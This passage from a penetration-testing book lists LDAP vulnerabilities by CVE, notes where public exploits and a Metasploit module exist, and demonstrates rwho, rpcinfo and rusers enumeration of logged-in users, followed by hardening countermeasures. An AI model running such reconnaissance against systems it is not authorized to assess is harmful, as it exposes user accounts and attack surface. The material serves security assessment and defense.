CVE-2007-0040 | 10/07/2007 | Windows 2003 SP2 LDAP “convertible attributes” overflow |
CVE-2006-6493 | 12/12/2006 | OpenLDAP 2.4.3 Kerberos authentication overflow |
CVE-2006-4510 and CVE-2006-4509 | 21/10/2006 | Novell eDirectory 8.8 LDAP buffer overflows |
CVE-2006-4846 | 15/09/2006 | Citrix Advanced Access Control (AAC) 4.2 LDAP authentication bypass |
CVE-2006-2754 | 06/09/2006 | OpenLDAP 2.3.21 long hostname stack overflow |
CVE-2006-0419 | 24/01/2006 | BEA WebLogic 9.0 LDAP data compromise and DoS |
CVE-2005-2696 | 20/08/2005 | Lotus Notes Notes Address Book (NAB) password hash LDAP compromise |
CVE-2005-2511 | 15/08/2005 | Mac OS X 10.4.2 LDAP Kerberos authentication bypass |
CVE-2004-0297 | 17/02/2004 | Ipswitch IMAIL 8.03 LDAP service buffer overflow |
CVE-2003-0734 | 20/10/2003 | |
CVE-2003-0507 | 02/07/2003 | Windows 2000 SP3 LDAP buffer overflow |
CVE-2003-0174 | 25/04/2003 | IRIX 6.5.19 LDAP name service (nsd) authentication bypass |
CVE-2002-0777 | 20/05/2002 | Ipswitch IMAIL Server 7.1 LDAP buffer overflow |
CVE-2002-0374 | 06/05/2002 |
|
The PROTOS test suite (http://www.ee.oulu.fi/research/ouspg/protos/) was used in 2001 to perform comprehensive fuzzing of LDAP implementations, uncovering a large number of vulnerabilities in many LDAP implementations. Many of these issues have been resolved, however; for a detailed list of the findings, please see http://www.ee.oulu.fi/research/ouspg/protos/testing/c06/ldapv3/.
LDAP exploit scripts
Exploit scripts for these vulnerabilities are publicly available from archive sites such as Packet Storm (http://www.packetstormsecurity.org).
MSF has an exploit module for CVE-2004-0297 (Ipswitch IMAIL LDAP service overflow), but none of these other vulnerabilities at the time of this writing. For the full list of exploit modules that MSF supports in its stable branch, see http://framework.metasploit.com/exploits/list.
In terms of commercial exploitation frameworks, neither CORE IMPACT nor Immunity CANVAS support any of these LDAP vulnerabilities at the time of writing.
rwho
The Unix rwhod service listens on UDP port 513. If found to be accessible, you can query it using the Unix rwho client utility to list current users who are logged into the remote host, as shown:
$ rwho 192.168.189.120
jarvis ttyp0 Jul 17 10:05 (192.168.189.164)
dan ttyp7 Jul 17 13:33 (194.133.50.25)
root ttyp9 Jul 17 16:48 (192.168.189.1)RPC rusers
The Unix rusers service is a Remote Procedure Call (RPC) service endpoint that listens on dynamic ports. The rusers client utility first connects to the RPC portmapper, which returns the whereabouts of the rusersd service.
During initial TCP port scans, if the RPC portmapper service isn’t found to be accessible, it is highly unlikely that rusersd will be accessible. If, however, TCP or UDP port 111 is found to be accessible, the rpcinfo client can check for the presence of rusersd and other accessible RPC services, as shown in Example 5-16.
$ rpcinfo -p 192.168.0.50
program vers proto port service
100000 4 tcp 111 rpcbind
100000 4 udp 111 rpcbind
100024 1 udp 32772 status
100024 1 tcp 32771 status
100021 4 udp 4045 nlockmgr
100021 2 tcp 4045 nlockmgr
100005 1 udp 32781 mountd
100005 1 tcp 32776 mountd
100003 2 udp 2049 nfs
100011 1 udp 32822 rquotad
100002 2 udp 32823 rusersd
100002 3 tcp 33180 rusersdIf rusersd is running, you can probe the service with the rusers client (available on most Unix-based platforms) to retrieve a list of users logged into the system, as shown in Example 5-17.
$ rusers -l 192.168.0.50
Sending broadcast for rusersd protocol version 3...
Sending broadcast for rusersd protocol version 2...
james onyx:console Mar 3 13:03 22:03
amber onyx:ttyp1 Mar 2 07:40
chris onyx:ttyp5 Mar 2 10:35 14
al onyx:ttyp6 Mar 2 10:48Remote Information Services Countermeasures
The following countermeasures should be considered when hardening remote information services:
There is no reason to run fingerd, rwhod, or rusersd services in any production environment; these services completely undermine security and offer little benefit.
Diligently check all publicly accessible hosts to ensure that unnecessary DNS services aren’t publicly accessible. DNS servers should run only where necessary, and all DNS servers must be correctly configured to deny zone transfers to unauthorized peers.
Most Linux identd packages are vulnerable to public and privately known attacks; therefore, refrain from running identd on mission-critical Linux servers.
NTP services reveal useful operating platform information and some implementations contain vulnerabilities that can result in a compromise. Wherever possible, NTP services should be filtered and not exposed to the public Internet.
SNMP services running on both servers and devices should be configured with strong read and write access community strings to minimize brute-force password-grinding risk. Network filtering of SNMP services from the Internet and other untrusted networks ensures further resilience and blocks buffer overflow and other process manipulation attacks.
Ensure that your accessible LDAP and Windows AD GC services don’t serve sensitive information to anonymous unauthenticated users. If LDAP or Global Catalog services are being run in a high-security environment, ensure that brute-force attacks aren’t easily undertaken by logging failed authentication attempts.
Always keep your publicly accessible services patched to prevent exploitation of process manipulation vulnerabilities. Most DNS, SNMP, and LDAP vulnerabilities don’t require an authenticated session to be exploited by a remote attacker.